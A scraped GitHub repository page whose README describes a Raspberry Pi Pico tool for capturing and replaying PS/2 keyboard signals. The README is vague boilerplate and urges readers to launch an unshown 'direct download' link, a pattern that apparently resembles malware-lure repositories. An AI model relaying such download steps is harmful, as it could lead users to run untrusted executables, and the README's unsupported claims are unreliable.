Skip to content

Captures and replays signals on a PS/2 interface (DATA and CLOCK lines). A "capture" is a sequence of GPIO readings taken at short intervals, effectively logging the entire timeline of PS/2 pin states during recording. Each capture can be replayed - emulating the original signal.

Notifications You must be signed in to change notification settings

wendelangelo221/pico-ps2-diagnostic-tool

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

2 Commits
ย 
ย 

Repository files navigation

๐ŸŽฎ๐Ÿ” Pico PS/2 Diagnostic Tool ๐Ÿ› ๏ธ๐Ÿ”—

Welcome to the Pico PS/2 Diagnostic Tool repository! This tool allows you to capture and replay signals on a PS/2 interface, specifically the DATA and CLOCK lines. By capturing a sequence of GPIO readings at short intervals, you can effectively log the entire timeline of PS/2 pin states during recording. Each capture can then be replayed, emulating the original signal.

๐Ÿ“‚ Repository Contents

Within this repository, you will find resources related to hardware, hardware hacking, Raspberry Pi Pico (RP2040), PS/2 keyboards, PS/2 protocol, PS/2 signal sniffers, signal capture, and signal reconstruction.

๐ŸŒ Repository Topics

Topics:

  • hardware
  • hardware-hacking
  • pico
  • pico-sdk
  • ps2
  • ps2-keyboard
  • ps2-protocol
  • ps2-sniffer
  • raspberry-pi
  • raspberry-pi-pico
  • rp2040
  • signal-capture
  • signal-reconstruction

๐Ÿ“ฆ Software Download

To access the software related to this project, please download it from the following link:
Download Software

Note: The provided link is a direct download link that needs to be launched.

๐Ÿš€ Get Started

To get started with the Pico PS/2 Diagnostic Tool, follow these steps:

  1. Download the software from the link above.
  2. Install the necessary dependencies as outlined in the repository.
  3. Connect your PS/2 interface to the appropriate hardware.
  4. Capture and replay signals to analyze the PS/2 interface.

๐Ÿ› ๏ธ Tools and Technologies

In this project, we utilize the following tools and technologies:

  • Raspberry Pi
  • Raspberry Pi Pico (RP2040)
  • PS/2 Interface
  • GPIO Readings
  • Signal Capture
  • Signal Replay

๐Ÿ“– Resources

For more in-depth information on how to use the Pico PS/2 Diagnostic Tool, please refer to the documentation provided in the repository. You will find detailed guides on capturing signals, replaying sequences, and analyzing PS/2 pin states.

๐Ÿค Contributions

Contributions to the Pico PS/2 Diagnostic Tool project are welcome! Whether you want to suggest improvements, report issues, or provide feedback, feel free to engage with the community and help make this tool even better.

๐Ÿ“ž Contact

If you have any questions or need further assistance, you can reach out via email or through the GitHub repository's communication channels.

Let's dive into the exciting world of PS/2 interfaces and signal analysis with the Pico PS/2 Diagnostic Tool! ๐ŸŽ‰๐Ÿ”๐Ÿš€

About

Captures and replays signals on a PS/2 interface (DATA and CLOCK lines). A "capture" is a sequence of GPIO readings taken at short intervals, effectively logging the entire timeline of PS/2 pin states during recording. Each capture can be replayed - emulating the original signal.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published